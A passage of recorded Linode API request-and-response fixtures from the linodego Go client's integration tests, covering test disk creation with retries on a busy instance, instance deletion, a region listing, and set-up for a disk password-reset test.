Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: '{"label":"go-disk-test-6859uptct8f9","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: '{"label":"go-disk-test-6859uptct8f9","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: '{"label":"go-disk-test-6859uptct8f9","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: POST response: body: '{"errors": [{"reason": "Linode busy."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Connection: - keep-alive Content-Length: - "40" Content-Type: - application/json Server: - nginx X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 BAD REQUEST code: 400 duration: "" - request: body: '{"label":"go-disk-test-6859uptct8f9","size":2000}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: POST response: body: '{"id": 104235367, "status": "not ready", "label": "go-disk-test-6859uptct8f9", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526/disks method: GET response: body: '{"data": [{"id": 104235329, "status": "ready", "label": "go-disk-test-01y1r6anh3v9", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}, {"id": 104235367, "status": "not ready", "label": "go-disk-test-6859uptct8f9", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "411" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557526 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Disk_ResetPassword.yaml000066400000000000000000001010161455402072200337010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-7uwtu261eh21","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52557713, "label": "go-test-ins-wo-disk-7uwtu261eh21", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.248.196"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "739" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-ot2r43r295ut","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713/configs method: POST response: body: '{"id": 55574533, "label": "go-test-conf-ot2r43r295ut", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713 method: GET response: body: '{"id": 52557713, "label": "go-test-ins-wo-disk-7uwtu261eh21", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.248.196"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "739" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713 method: GET response: body: '{"id": 52557713, "label": "go-test-ins-wo-disk-7uwtu261eh21", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.248.196"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "4351606c086016d7568003f3b436685b02d00a73", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "734" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-disk-test-1p5mgm182r1l","size":2000,"image":"linode/debian9","root_pass":"9`8byL/u*qD7JnN5Pl9y2ueZoO)8EN}(6ec486q.P(?,5\u003e\u003e\\8{fZIHWC9g(Kk10:","filesystem":"ext4"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52557713/disks method: POST response: body: '{"id": 104235582, "status": "not ready", "label": "go-disk-test-1p5mgm182r1l", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' 